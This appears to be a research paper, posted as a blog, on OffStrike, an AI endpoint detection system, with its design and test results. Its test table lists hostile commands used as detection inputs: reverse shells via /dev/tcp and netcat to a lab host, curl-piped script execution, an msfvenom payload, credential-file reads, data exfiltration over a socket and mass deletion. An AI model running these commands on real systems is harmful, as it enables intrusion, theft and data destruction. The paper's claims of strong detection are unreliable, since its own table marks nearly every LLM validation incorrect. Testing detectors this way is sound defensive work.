OffStrike - AI Driven EDR

Franklin Roberts, M.S. - Full Sail University, Computer Science

Posted May 18, 2025

By OffStrike

41 min read

Abstract—In the face of increasingly sophisticated cyber threats, traditional cybersecurity measures frequently prove inadequate, relying on outdated detection methods that can be easily circumvented. This research proposes the development of OffStrike, an Al-driven Endpoint Detection and Response (EDR) system designed to enhance organizational cybersecurity posture through real-time threat detection, automated incident response, and in-depth security analysis. By leveraging advanced machine learning and natural language processing techniques, OffStrike EDR addresses the limitations of conventional security solutions, enabling proactive defense against complex and new cyberattacks. Key features of the system include agent-based log collection, MITRE ATT&CK-based event correlation, and LLM-powered analysis and reporting, which together provide accurate threat intelligence coverage and actionable incident reports. This research aims to empower security teams to effectively mitigate cyber threats, protect critical assets, and contribute to the ongoing development of robust cybersecurity tools by exploring a slightly different approach. The findings are expected to either prove the effectiveness of this idea or disprove it.

Keywords—Endpoint Detection and Response (EDR), Artificial Intelligence (AI), Machine Learning (ML), Natural Language Processing (NLP), Cybersecurity, Threat Detection, Incident Response, MITRE ATT&CK Framework, Large Language Models (LLMs)

Introduction

The contemporary cybersecurity landscape is characterized by an escalating volume and sophistication of cyber-attacks, including prevalent threats such as ransomware, privilege escalation, and credential dumping. Traditional signature-based detection methods, while foundational, frequently prove inadequate against novel, fileless, or polymorphic threats and zero-day attacks. These conventional approaches often result in an overwhelming number of false positives, contributing to significant alert fatigue among security analysts and diminishing overall system efficiency.

This growing gap between the evolving nature of cyber threats and the static defenses of traditional systems necessitates a more adaptive and intelligent approach to security. The shift is not merely about augmenting existing tools but represents a fundamental paradigm change in cybersecurity, moving from reactive, signature-matching to proactive, behavioral, and predictive analysis. In this context, artificial intelligence (AI) and machine learning (ML) have emerged as transformative technologies, offering capabilities for real-time threat analysis, predictive insights, and automation that are crucial for enhancing modern cybersecurity practices. AI and ML find broad applications across various cybersecurity domains, including anomaly detection, intrusion detection systems (IDS), and sophisticated malware analysis.

This paper introduces OffStrike, a novel endpoint detection system engineered to overcome the limitations inherent in traditional security measures by leveraging a hybrid AI approach. OffStrike’s primary objective is to deliver robust and intelligent threat detection and analysis directly at the endpoint. A core architectural principle of OffStrike is the clear delineation of responsibilities between its two primary AI components. LightML, a custom-trained lightweight Multinomial Naïve Bayes (MNB) model, stands as the central component responsible for primary threat detection and signature analysis.

This design choice positions LightML as the system’s core detection engine, emphasizing its efficiency and tailored capabilities for real-time threat identification. Complementing LightML, a local fine-tuned Large Language Model (LLM) plays a crucial, yet distinct, role in security analysis and report generation. The LLM functions as an intelligent layer for contextualization and summarization, rather than serving as the primary detection engine. This strategic division of labor within the OffStrike architecture optimizes both performance and utility.

LightML’s efficiency in high-volume, low-latency detection tasks is paramount for endpoint agents, while the LLM’s capacity for nuanced interpretation and actionable insights is reserved for more complex, contextual analysis. This prevents the LLM from becoming a computational bottleneck and ensures its application is focused on high-value tasks at the server node, optimizing resource allocation and system responsiveness.

The remainder of this paper is structured as follows:

Section 2 provides a comprehensive review of related work in Endpoint Detection and Response (EDR) and the application of machine learning in cybersecurity.
Section 3 details the OffStrike system design, including its architecture and process flow.
Section 4 presents the LightML development and rigorous model evaluation.
Section 5 discusses the application deployment strategy, including the specific LLM employed. Finally,
Section 6 offers conclusions and outlines directions for future research.

This section provides a comprehensive review of existing literature, grounding OffStrike within the current landscape of EDR solutions and the broader application of machine learning in cybersecurity.

Endpoing Detection and Response (EDR) Solutions and MITRE ATT&CK Integration

Endpoint Detection and Response (EDR) solutions are specialized tools designed to continuously monitor, detect, and respond to threats originating from endpoint devices. These systems operate by collecting extensive telemetry data, including information on running programs, process interactions, registry changes, and system calls. A critical framework that has become indispensable for understanding adversary operations is the MITRE ATT&CK framework. Since its inception in 2013, ATT&CK has served as a globally accessible knowledge base of adversary tactics and techniques derived from real-world observations. Its importance lies in standardizing vocabulary, significantly improving threat detection and response capabilities, aiding in the identification of critical coverage gaps, and operationalizing Security Operations Center (SOC) functions.

Several prominent EDR solutions have successfully integrated the MITRE ATT&CK framework:

Fidelis Endpoint: This solution incorporates MITRE ATT&CK to provide a standard vocabulary and descriptions, which enhances threat detection and response. It enables customers to map their EDR capabilities to the framework, identify weak spots, and automate security workflows with predefined playbooks. Fidelis Endpoint® offers full visibility of the environment and maps threats directly to ATT&CK tactics.
Microsoft Defender for Endpoint: This comprehensive EDR solution supports advanced hunting and vulnerability management, integrating seamlessly with other Microsoft security services across a wide range of operating systems, including Windows, macOS, Linux, Android, and iOS. It leverages ATT&CK for robust threat modeling, security posture testing, and optimization of cyber defenses.
Trellix Endpoint Detection and Response (EDR): Trellix EDR automatically detects suspicious behavior and maps events within alerts and threats to the MITRE ATT&CK framework. This capability significantly speeds up investigations and aids in identifying security gaps. The solution also incorporates AI/ML, including Generative AI, to dynamically investigate alerts, learn from new anomalies, and correlate Tactics, Techniques, and Procedures (TTPs) with previously identified threat campaigns.
VMware Carbon Black EDR/Cloud: Designed for Security Operations Center (SOC) and Incident Response (IR) teams, this scalable solution for incident response and threat hunting integrates with various network security providers and Security Information and Event Management (SIEM) systems.
CrowdStrike Falcon Insight: As part of the broader Falcon platform, this EDR solution focuses on Indicators of Attack (IOA) rather than just known signatures. It integrates CrowdStrike’s threat intelligence and maps alerts and detections to the MITRE ATT&CK framework, providing a clearer understanding of attacker tactics and techniques to aid triage, prioritization, and remediation.
SentinelOne EDR: This EDR tool, part of SentinelOne’s Singularity security platform, utilizes AI and machine learning to deliver autonomous endpoint security. It offers threat prioritization and classification capabilities that are directly based on the MITRE ATT&CK framework.
Palo Alto Networks Cortex XDR: This EDR solution integrates threat detection, investigation, and response capabilities. It employs artificial intelligence (AI) and machine learning (ML) to detect sophisticated attacks, automate investigations, and accelerate response across different security layers. Cortex XDR also features MITRE ATT&CK framework-based threat hunting

The following table summarizes the integration of leading EDR solutions with the MITRE ATT&CK framework:

EDR Solution	Key Features/Approach to ATT&CK Integration
Fidelis Endpoint	Maps threats to ATT&CK tactics; automates security workflows with playbooks; provides full environment visibility.
Microsoft Defender for Endpoint	Uses ATT&CK for threat modeling, security posture testing, and cyber defense optimization; enables advanced hunting.
Trellix EDR	Automatically maps events and threats to ATT&CK, speeding investigations and identifying gaps; uses AI/ML for dynamic alert investigation and TTP correlation.
VMware Carbon Black EDR/Cloud	Scalable IR and threat hunting; integrates with SIEMs and network security providers.
CrowdStrike Falcon Insight	Focuses on Indicators of Attack (IOA); maps alerts and detections to ATT&CK for better understanding of attacker tactics.
SentinelOne EDR	AI/ML-powered autonomous endpoint security; offers threat prioritization and classification based on ATT&CK.
Palo Alto Networks Cortex XDR	AI/ML for sophisticated attack detection and automated investigations; features ATT&CK-based threat hunting.

Table 1: EDR Solutions with MITRE ATT&CK Mapping Capabilities

Machine Learning and Deep Learning in Cybersecurity Threat Detection

The increasing volume of data and the dynamic nature of cyber threats have underscored the growing role of AI and ML in cybersecurity. These technologies are uniquely positioned to process vast datasets, identify complex patterns, and adapt to evolving threats, offering significant advantages over traditional, static detection methods by enhancing threat detection, improving response times, and automating tasks that previously required extensive human intervention.

Anomaly Detection

Anomaly detection is a crucial application within cybersecurity, focusing on identifying patterns in data that deviate significantly from expected or normal behavior. Such deviations often indicate potential intrusions or malicious activities. AI and ML systems are trained on historical data to recognize normal operational patterns, subsequently flagging any inconsistencies as potential issues without requiring explicit programming for each possible anomaly. Various algorithms are employed for this purpose, including Local Outlier Factor (LOF), K-Nearest Neighbors (kNN), Random Forest, Support Vector Machines (SVM), Neural Networks, K-means Clustering, and Isolation Forest.

A particular appeal of unsupervised learning for anomaly detection in cybersecurity stems from the inherent difficulty and high cost associated with obtaining high-quality labeled training data in dynamic security contexts. Unsupervised methods offer the potential to detect novel and previously unseen attack patterns without requiring such labels. Deep learning methods, including Autoencoders, Variational Autoencoders (VAE), LSTM Autoencoders, and GANomaly, have generally demonstrated superior performance compared to traditional ML approaches for anomaly detection, with LSTM Autoencoders showing particular strength in capturing temporal dependencies within network traffic data.

Malware Analysis

The rapid proliferation and increasing sophistication of malware pose a substantial threat to cybersecurity, with conventional signature-based techniques often failing to counter complex and dynamic variants. AI and ML, especially deep learning, significantly enhance malware detection and analysis by enabling faster and more precise identification and classification of malicious software. Deep learning models exhibit notable potential in extracting relevant features directly from raw data, thereby increasing the accuracy of malware detection.

AI-driven solutions are particularly effective at recognizing both existing and novel malicious codes because they can learn and evolve from past invasions. Common classifiers used in malware analysis include decision trees, Support Vector Machines, and neural networks. Furthermore, emerging methods such as Generative Adversarial Networks (GANs) and transformer models are actively being studied for their ability to detect complex behavioral patterns of malware and polymorphic entities, which are designed to evade traditional detection.

Network Intrusion Detection

Intrusion Detection Systems (IDS) play a vital role in cybersecurity by identifying system attacks and classifying network activities as either normal or abnormal. Machine learning techniques have significantly improved detection rates in IDS, with effective solutions demonstrated using methods such as Naive Bayes, deep learning networks, random forest, decision trees, and various ensemble models. Deep learning models, specifically Convolutional Neural Networks (CNNs) and Long Short-Term Memory (LSTM) networks, frequently outperform traditional machine learning approaches for intrusion detection, achieving high accuracy rates.

These models eliminate the need for manual feature engineering by learning representations directly from raw network traffic data and are adept at analyzing temporal dependencies, making them well-suited for detecting evolving attack patterns in real-time network monitoring. More recently, Deep Reinforcement Learning (DRL) has emerged as a promising approach for network intrusion detection. DRL addresses challenges related to model training efficiency, detection of minority and unknown class attacks, feature selection, and handling unbalanced datasets, with some DRL models achieving state-of-the-art results on public datasets.

Reinforcement Learning in Cybersecurity

Reinforcement Learning (RL) is being increasingly applied to enhance malware forensics and optimize cyber incident response. This approach can significantly improve the speed and accuracy of detecting new and unknown malware by combining heuristic and signature-based methods within a unified Markov Decision Process (MDP) model. RL distinguishes itself from conventional machine learning models by embracing uncertainty and extensive trial and error, rather than relying on predefined mappings.

This adaptability allows RL to generate new malware samples, which can then be used to retrain detection models, thereby improving their ability to identify previously unknown threats. Experimental results indicate that RL models can achieve higher malware detection rates compared to conventional methods. Furthermore, RL is being explored for its utility in developing adversarial attacks against ML-based malware detection systems, which in turn helps enhance the robustness of detectors in dynamic environments.

The Role of Large Language Models (LLMS) in Security Analysis

While the core detection in OffStrike is handled by LightML, Large Language Models (LLMs) are increasingly finding applications across various domains, including cybersecurity. Their potential applications span areas such as code generation, complex algorithm design, automated documentation creation, and advanced cybersecurity threat analysis. LLMs possess the capability to process and generate human-readable text, making them highly suitable for tasks involving report generation and contextual understanding. In the context of OffStrike, the LLM is specifically fine-tuned for security analysis and report generation, serving to complement LightML’s efficient detection capabilities.

The design of OffStrike, with LightML for primary detection and the LLM for complex analysis, exemplifies a pragmatic and efficient solution for deploying advanced AI in a distributed environment. This architecture allows OffStrike to achieve both real-time, low-overhead detection at the edge (via LightML) and sophisticated, contextual analysis centrally (via the LLM). This approach effectively balances performance, resource utilization, and analytical depth, which is a crucial design pattern for scalable AI-driven security solutions.

This is particularly relevant when considering the computational demands of more complex models like deep learning, reinforcement learning, and Graph Neural Networks (GNNs), which, while offering higher accuracy and capability, come with increased computational demands, longer training times, and potential challenges with interpretability and real-time deployment, especially on resource-constrained endpoints. The strategic choice to use a lightweight model for the primary detection task, while reserving the more resource-intensive LLM for advanced interpretation and reporting, directly addresses the trade-off between model complexity and practical deployment in real-world cybersecurity systems.

Furthermore, the evolving role of AI in cybersecurity extends beyond mere detection to augmenting human analysts and streamlining security operations. Solutions are increasingly designed to reduce the cognitive load on security teams by automating alert investigation and contextualization. AI-powered anomaly detection systems, for example, can generate alerts and suggest corrective actions, fostering a continuous feedback loop for system improvement. This transformation signifies that AI in cybersecurity is not primarily about replacing human operators but rather about transforming raw security data into actionable intelligence, thereby enabling faster and more informed decision-making. OffStrike’s use of LightML for detection and the LLM for report generation and summarization aligns perfectly with this human-centric augmentation, ensuring the system is not only effective at identifying threats but also at communicating them efficiently and meaningfully to human operators.

OffStrike System Design

This section elaborates on the architectural components of the OffStrike system, illustrating how LightML and the LLM collaboratively achieve comprehensive threat detection and analysis.

Overall Architecture

The OffStrike system is characterized by its modular and distributed architecture, designed for efficient and comprehensive endpoint threat detection. The system comprises several key components that interact seamlessly to process security telemetry, detect threats, and generate actionable insights.

At the periphery of the architecture are the Endpoint Agents, which are lightweight software components deployed on individual client machines within an enterprise environment. These agents are continuously responsible for collecting raw security telemetry, including detailed records of process activity, network connections, file changes, and registry modifications, from the monitored endpoints. Closely coupled with, and often co-located on, each endpoint is the LightML Engine. This is the primary detection component of OffStrike, custom-built for efficiency and real-time analysis of the collected telemetry data. LightML performs the initial, high-volume, rapid classification and identifying events that warrant further investigation.

Aggregated and pre-processed threat signatures (event log properties) are transmitted to the LLM Analysis & Reporting Module. Given the computational requirements of a Large Language Model, this module is typically deployed on a more powerful, potentially centralized server or a cluster of servers. Its role is to perform deeper contextual analysis of the detected events and generate human-readable reports. Finally, a Central Management/Dashboard provides a unified interface for security analysts to monitor the system, configure settings, and review the LLM-generated reports. This distributed design ensures that real-time processing occurs at the source (the endpoint), while more resource-intensive analytical tasks are handled centrally.

The following diagram illustrates the overall architecture of the OffStrike system:

Model 1: OffStrike System Architecture Diagram

Detailed Process Flow: From Signature Detection to LLM Summarization

The operational flow within OffStrike is a meticulously designed multi-stage process, ensuring efficient threat identification and comprehensive analysis.

LightML’s Role in Signature Detection

The process begins with the endpoint agent, which continuously collects a diverse range of system events and telemetry data. This includes granular details such as process creation, file access, network connections, and registry modifications via a shell session. This raw, high-volume data stream is then fed directly into the LightML engine. As a custom-trained lightweight Multinomial Naïve Bayes (MNB) model, LightML is engineered for high efficiency, enabling it to analyze these events in real-time with minimal computational overhead.

LightML’s primary function is to classify event logs based on the MITRE ATT&CK framework techniques. It rapidly identifies known malicious behaviors based on the training data, giving each log entry in the database a predicted MITRE ATT&CK technique label. Its lightweight nature is crucial for enabling real-time, low-latency detection directly on the endpoint without imposing significant resource drain.

LLM’s Role in Contextualization and Report Generation

Regardless of the LightML predication label assigned, each log entry is passed to the LLM Analysis & Reporting Module. It is important to clarify that the LLM does not perform raw data detection; rather, it receives a JSON array of respective log properties or attributes. The LLM’s function is to contextualize these signatures, correlate them with broader threat intelligence (if integrated), validates the LightML predicted techniques to increase accuracy and reduce false positives or negatives, and generates a concise, contextual, human-readable summary or report. This role is critical for providing deeper insights and actionable intelligence, significantly reducing the cognitive load on security analysts by synthesizing complex event data into understandable narratives.

The mechanism by which LightML provides input to the LLM involves the use of an indexer that utilizes prompt engineering to embed the log attributes, system context, user access and other relevant details for contextual analysis. This implies a holistic and confirmative analysis of the respective events. LightML by itself doesn’t transmit any data from the endpoint, instead a dedicated module within the agent is responsible for that task.

Illustrative Example of Threat Detection and Summarization

To illustrate the detailed process flow, consider a scenario where the agent detects the execution of a command from an active shell session:

Step 1: Agent (LightML) Detection

Capture: Agent captures a log via journalctl: bash -c “$(curl -s http://example.com/malicious_script.sh)”
Detection: Command and Scripting Interpreter: LightML classifies a log entry as “T1059”, indicating the use of command-line interfaces or scripts to execute commands.
Upload: Agent pushes data to Elasticsearch database and saves the entry locally.

Step 2: Indexer and LLM Analysis

Pulls log entry from the local Elasticsearch LightML index.
Builds the LLM API HTTP (Ollama) request: appends all log properties, context, access, etc.
Sends the HTTP request to the LLM server via the API.
Waits for the response and append it to the local Elasticsearch database under the Atomic index.
Note: The Indexer uses multi-processing, so it can process more than 20 logs simultaneously.

Step 3: Data Access and Visualization (Web Portal)

Dashboard: Operators can access and view an agent summary of the endpoint the event was detected on.
Threat Hunting: Operators can write a custom query to pull the raw data from Elasticsearch via the LightML index.
Threat Detection: Operators can visually see the event labeled as “Malicious” with a report explaining why.
Threat Detection: Operators can use the C2 feature to validate the event and kill a process.
Atomic: Operators can use the LLM-RAG feature to ask questions about specific events.

This example effectively demonstrates how LightML handles high-volume, real-time detection, while the LLM provides the critical context and actionable intelligence, transforming raw alerts into a concise, meaningful narrative that facilitates rapid human intervention. This hybrid model, leveraging a lightweight primary detection engine and a more powerful, centralized analysis component, represents an optimization for endpoint resource constraints. The architectural separation allows OffStrike to achieve both real-time, low-overhead detection at the edge via LightML and sophisticated, contextual analysis centrally via the LLM, effectively balancing performance, resource utilization, and analytical depth. This is a crucial design pattern for scalable AI-driven security solutions.

LightML Development and Evaluation

This section delves into the specifics of LightML, its training methodology, and a rigorous evaluation of its performance using standard machine learning metrics.

Model Training and Customization (Multinomial Naïve Bayes)

LightML is a custom-trained lightweight Multinomial Naïve Bayes (MNB) model. This particular algorithm was selected for its inherent efficiency and proven effectiveness in classification tasks, especially when dealing with discrete features such as event counts or the presence/absence of specific signature occurrences. The development of LightML involved a meticulous training process:

Data Collection: The initial phase involved gathering diverse datasets comprising both normal and malicious endpoint activities. This comprehensive data collection is fundamental to ensure the model learns from a wide range of behaviors.
Feature Engineering/Selection: From the raw telemetry data, relevant features indicative of threats were identified and extracted. For an MNB model, this typically involves transforming raw events into frequency counts or binary indicators of specific event/signature occurrences, which are highly suitable for its probabilistic nature. The “custom-built” aspect of LightML implies that these feature sets and the training data were specifically tailored to the types of threats OffStrike aims to detect, enhancing its relevance and accuracy in the target environment.
Model Training: The MNB model was then trained on this carefully prepared and labeled dataset. During training, the model learns the probabilistic relationships between the extracted features and predefined threat categories, enabling it to classify new, unseen events based on these learned probabilities.

Model Evaluation

Rigorous model evaluation is paramount to demonstrate LightML’s effectiveness and reliability in detecting threats. This involves the application of standard machine learning metrics and a detailed analysis of the confusion matrix.

Evaluation Metrics: Accuracy, Precision, Recall, and F1-Score

These metrics are crucial for assessing the performance of classification models, particularly in cybersecurity contexts where class imbalance—a scenario with a disproportionately large number of normal events compared to attack events—is common. The inherent imbalance of cybersecurity datasets makes raw accuracy an insufficient sole indicator of performance for LightML. Therefore, precision, recall, and F1-score are indispensable for a meaningful evaluation. This also implies that LightML’s training data and methodology must specifically address this imbalance to ensure robust performance.

Accuracy: This metric represents the proportion of all classifications that were correct, calculated as (True Positives + True Negatives) / (True Positives + True Negatives + False Positives + False Negatives). While it offers a general indication of performance, accuracy can be misleading, especially when one class significantly dominates the dataset.
Precision (Positive Predictive Value): Precision quantifies the proportion of all the model’s positive classifications that were actually correct, calculated as True Positives / (True Positives + False Positives). In cybersecurity, precision is crucial for minimizing false positives (Type I errors). High false alarms can lead to alert fatigue among security analysts and wasted investigative time.
Recall (True Positive Rate/Sensitivity): Recall measures the proportion of all actual positive instances that were correctly identified by the model, calculated as True Positives / (True Positives + False Negatives). This metric is essential in cybersecurity when missing positive cases (false negatives or Type II errors) carries significant consequences, such as failing to detect a critical attack that could lead to a major breach. For high-stakes threat detection, the recall metric might be prioritized or weighted more heavily during model optimization, as a false negative typically has more serious consequences than a false positive.
F1-Score: The F1-Score is the harmonic mean of precision and recall, calculated as 2 * (Precision * Recall) / (Precision + Recall). This metric provides a balanced assessment of a model’s overall performance, particularly valuable for imbalanced datasets, by considering both false positives and false negatives.

To provide a quantitative assessment of LightML’s performance, current LightML values for these metrics are presented in Table 2. These values would typically be derived from extensive testing against a representative dataset.

Metric	Value
Accuracy	0.67
Precision	0.78
Recall	0.67
F1-Score	0.60

Table 2: LightML Model Performance Metrics

Confusion Matrix Analysis

The confusion matrix is a fundamental tool for evaluating the performance of a classification model, offering a clear comparison between the model’s predictions and the actual outcomes. It is particularly valuable for understanding where the model makes mistakes and for assessing performance in scenarios with imbalanced data. The matrix comprises four key components:

True Positive (TP): Instances where the model correctly predicted a positive outcome (actual positive, predicted positive).
True Negative (TN): Instances where the model correctly predicted a negative outcome (actual negative, predicted negative).
False Positive (FP): Instances where the model incorrectly predicted a positive outcome, but the actual outcome was negative. This is also known as a Type I error. In cybersecurity, a high rate of false positives can lead to alert fatigue and inefficient resource allocation.
False Negative (FN): Instances where the model incorrectly predicted a negative outcome, but the actual outcome was positive. This is also known as a Type II error. In cybersecurity, false negatives represent missed threats, which can have severe consequences, including data breaches and system compromise.

The confusion matrix provides a granular breakdown of correct and incorrect classifications for each class, offering deeper insight than aggregate metrics alone. This is particularly insightful for imbalanced datasets common in cybersecurity, where the cost of a false negative (a missed attack) is often far higher than that of a false positive (a false alarm). The design of LightML should reflect a careful balance between these error types, with a slight bias towards higher recall potentially being acceptable for critical threat types. The confusion matrix serves as the foundational evidence from which all other classification metrics are derived, providing a comprehensive view of the model’s real-world implications.

Plot 1: LightML Confusion Matrix:

Application Deployment

This section details how the OffStrike system, encompassing both LightML and the LLM, is deployed in a practical environment, including the specifics of the chosen LLM.

Deployment Architecture

OffStrike’s deployment architecture is inherently distributed, designed to provide comprehensive coverage across various machines within an enterprise network. The system leverages a tiered approach to optimize performance and resource utilization.

At the lowest tier, Endpoint Agents are deployed as lightweight software components on each monitored machine, including laptops, desktops, and servers. These agents continuously collect granular telemetry data from their respective hosts. The LightML Engine is co-located with these agents on each endpoint. This strategic placement allows LightML to perform immediate, local detection and processing of telemetry data, ensuring real-time threat identification with minimal latency and computational overhead on individual machines.

Detected signatures and events from LightML are then securely transmitted over the network to a more powerful, centralized infrastructure. The LLM Analysis & Reporting Module, given its significant computational requirements, is typically hosted on a dedicated central server or a cluster of servers. This centralized deployment allows the LLM to leverage robust hardware for its advanced analysis tasks without impacting endpoint performance. Secure and efficient communication channels facilitate the transfer of aggregated signatures from LightML instances to the central LLM module.

Finally, a Central Management Portal provides a unified interface for security administrators to monitor the entire system, review aggregated reports generated by the LLM, and manage system configurations. This visual representation clarifies how computational resources are managed across the system, supporting the design choice of keeping LightML local and the LLM centralized.

The following diagram illustrates the distributed deployment of the OffStrike application:

Model 2: OffStrike Application Deployment Diagram

DeepSeek Ollama 14B: Characteristics and Local Deployment

The Large Language Model chosen for the OffStrike system is DeepSeek Ollama 14B. This selection is a strategic decision driven by the critical need for data privacy and control in cybersecurity operations, as well as the model’s advanced capabilities.

DeepSeek Ollama 14B possesses several key characteristics that make it suitable for this application:

Parameters and Architecture: It features 14 billion parameters, built on a transformer-based architecture optimized for complex reasoning tasks. This enables nuanced and intelligent processing across various computational challenges.
Local Deployment Capability: A primary advantage of DeepSeek Ollama 14B is its design for local AI deployment using the Ollama framework. This allows sophisticated AI computations to run directly on local machines, providing full computational control within the local environment. This feature is particularly important in cybersecurity, as it negates the need to rely on cloud services, thereby preventing the exposure of sensitive security data to external platforms and enhancing data privacy and control.
Performance: The model is a high-performance computational model, versatile across multiple domains, and offers high execution speed for Natural Language Processing (NLP) tasks.
Resource Requirements: Despite its local deployment capability, DeepSeek Ollama 14B requires significant computing resources for efficient operation. Minimum system requirements include a 64-bit operating system, at least 16GB RAM (32GB recommended), a minimum of 50GB free storage, and a CUDA-compatible GPU for optimal performance. Its video memory consumption is approximately 12 GB with a 2K token context.
Relevant Use Cases: Beyond general applications like code generation and research, DeepSeek Ollama 14B is specifically applicable for cybersecurity threat analysis, aligning directly with OffStrike’s objectives.

The choice of a locally deployable LLM for OffStrike is not merely a technical specification but a strategic decision driven by the paramount need for data privacy and control in cybersecurity. In this sensitive domain, cloud-based LLMs could introduce potential privacy and security risks. Local deployment directly mitigates these risks by ensuring all computation and data processing remain within the organization’s controlled environment. This positions OffStrike as a solution that prioritizes enterprise-grade security and compliance, particularly for organizations with stringent data governance requirements.

However, the benefit of enhanced privacy and control through local LLM deployment comes with a trade-off: higher infrastructure investment. The significant hardware requirements, including substantial RAM, storage, and a dedicated GPU, imply a considerable capital expenditure for deployment. This is especially true if multiple LLM instances are required or if the system needs to scale to handle a large number of endpoints. This highlights that while local LLM deployment is ideal for sensitive domains like cybersecurity, it is not a universally “free” solution. Organizations adopting OffStrike would need to carefully consider the total cost of ownership, including the necessary hardware upgrades and ongoing maintenance for the LLM component. This trade-off is an important practical consideration for the widespread adoption and scalability of such advanced security systems.

Application Deployment Test

In this sub-section, the deployed instance of OffStrike EDR was tested and evaluated. The primary goal of this evaluation is to determine the platform’s effectiveness in detecting and classifying a series of commands executed in a controlled environment.

The test was conducted using two virtual machines (VMs): one running Ubuntu and the other Kali Linux. The Kali VM simulated an attacker, executing a predefined set of commands, while the Ubuntu VM hosted the OffStrike agent. A Python script was developed to execute a total of 40 commands, comprising 20 benign and 20 malicious operations. The commands were strategically selected to evaluate the detection capabilities of the EDR system.

OffStrike operates entirely on local data without reliance on external threat intelligence. The test was designed to evaluate the current performance of the system’s detection capability and effectiveness.

Detection Performance

OffStrike successfully logged all commands executed, irrespective of their nature. This comprehensive logging capability facilitates thorough threat hunting and allows for detailed analysis through its integrated LLM. If an event is not visible from the detection view, users can retrieve its entry using the threat hunting feature to write custom queries against the raw data.

Data Visualization

Commands	Test Class	LightML Prediction	Detection Label	LLM Prediction Validation	Score
echo ‘Hello, World!’	Regular	T1590	Benign	Incorrect	1
ls -la	Regular	T1590	Benign	Incorrect	1
pwd	Regular	T1590	Benign	Incorrect	1
whoami	Regular	T1590	Malicious	Incorrect	0.5
date	Regular	T1590	Unknown	Unknown	0.5
df -h	Regular	T1590	Unknown	Unknown	0.5
uptime	Regular	T1590	Benign	Incorrect	1
cat /etc/os-release	Regular	T1590	Benign	Incorrect	1
top -b -n 1	Regular	T1590	Benign	Incorrect	1
free -m	Regular	T1590	Benign	Incorrect	1
echo “Testing EDR”	Regular	T1590	Benign	Incorrect	1
mkdir /tmp/testdir	Regular	T1590	Benign	Incorrect	1
rmdir /tmp/testdir	Regular	T1590	Benign	Incorrect	1
touch /tmp/testfile	Regular	T1590	Benign	Incorrect	1
echo ‘Sample text’ > /tmp/testfile	Regular	T1590	Unknown	Unknown	0.5
grep ‘text’ /tmp/testfile	Regular	T1590	Benign	Incorrect	1
chmod 644 /tmp/testfile	Regular	T1590	Benign	Incorrect	1
chown $USER:$USER /tmp/testfile	Regular	T1590	Benign	Incorrect	1
ps aux	Regular	T1590	Benign	Incorrect	1
tail -n 10 /var/log/syslog	Regular	T1590	Unknown	Unknown	0.5
head -n 10 /var/log/auth.log	Regular	T1590	Unknown	Unknown	0.5
rm -rf /tmp/testfile	Malicious	T1590	Malicious	Incorrect	1
curl -O http://192.168.0.239/chrome.exe	Malicious	T1590	Benign	Incorrect	0.5
wget http://192.168.0.239/chrome.config	Malicious	T1590	Benign	Incorrect	0.5
echo ‘malicious’ > /tmp/chrome.config	Malicious	T1590	Benign	Incorrect	0.5
chmod 777 /tmp	Malicious	T1590	Benign	Incorrect	0.5
python -c ‘import os; os.system("rm -rf /")’	Malicious	T1059	Unknown	Incorrect	0.5
nc -l -p 1234 -e /bin/sh	Malicious	T1590	Malicious	Incorrect	1
bash -i >& /dev/tcp/192.168.0.239/442 0>&1	Malicious	Unknown	Unknown	Unknown	0
dd if=/dev/zero of=/tmp/chrome.config bs=1M count=100	Malicious	T1590	Benign	Incorrect	0.5
gobuster –help	Malicious	T1590	Benign	Incorrect	0.5
rm -rf /var/log/*	Malicious	T1590	Malicious	Incorrect	1
touch /tmp/updater.sh && echo ‘msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.239 LPORT=441 -f exe -o updater.exe’ » /tmp/updater.sh	Malicious	T1547	Benign	Incorrect	0.5
touch /tmp/updater.sh && echo ‘chmod +x updater.exe && ./updater.exe’ » /tmp/updater.sh	Malicious	T1547	Unknown	Unknown	0.5
chmod +x /tmp/updater.sh	Malicious	T1590	Malicious	Incorrect	1
bash /tmp/updater.sh	Malicious	T1590	Malicious	Incorrect	1
echo ‘Testing outlook’	nc 192.168.0.239 443	Malicious	T1590	Benign	Incorrect	0.5
cat /etc/shadow	Malicious	T1590	Malicious	Incorrect	1
find / -name ‘*.conf’ -exec rm -f {} \;	Malicious	T1590	Malicious	Incorrect	1
echo ‘’ » /tmp/chrome.config	Malicious	T1590	Malicious	Incorrect	1
python3 -c ‘import socket; s=socket.socket(); s.connect(("192.168.0.239", 444)); s.send(b"Username:Administrator");’	Malicious	T1021	Malicious	Incorrect	1
curl -X POST http://localhost/execute	Malicious	T1590	Malicious	Incorrect	1

Figure 1: Bar Chart of LightML Predictions

Figure 2: Bar Graph of Mean Scores for OffStrike

Figure 3: Line Graph of OffStrike Scores: 0.5 vs 1

Figure 4: Pie Chart of OffStrike Malicious vs Benign

The data collected was represented visually to highlight performance metrics:

Score Distribution [Figure 3]: OffStrike exhibited a consistent performance, as shown in the line graph, highlighting a steady score across executed commands.
Malicious vs. Benign Classification [Figure 4]: The pie chart reveals a significant portion of commands identified as benign, with a notable percentage classified as malicious by OffStrike.
Prediction Counts [Figure 1]: The bar chart illustrates the number of predictions made for various threat types, with OffStrike demonstrating a broader range of classifications.
Mean Scores [Figure 2]: The bar graph comparing mean scores for benign, malicious, and unknown labels emphasizes OffStrike’s superior detection capabilities across all categories.
Total Scores: OffStrike achieved a score of 33 out of 40.

The test conducted illustrates the strong performance of OffStrike in terms of detection capabilities. OffStrike, with its advanced logging and analysis features, demonstrated significant effectiveness in threat detection and response.

Conclusion and Future Work

Conclusion

OffStrike represents a significant advancement in endpoint threat detection, offering a novel hybrid AI system that effectively combines the efficient signature detection capabilities of LightML with the advanced contextual analysis and reporting functions of a fine-tuned Large Language Model. The system’s architecture strategically positions LightML, a custom-trained lightweight Multinomial Naïve Bayes model, as the primary, real-time detection engine operating directly on endpoints. This design ensures high-volume, low-latency threat identification. Complementing this, a locally deployed DeepSeek Ollama 14B LLM serves a crucial, intelligence-augmenting role by contextualizing LightML’s detected signatures, correlating them with broader threat intelligence, and generating concise, actionable reports for security analysts.

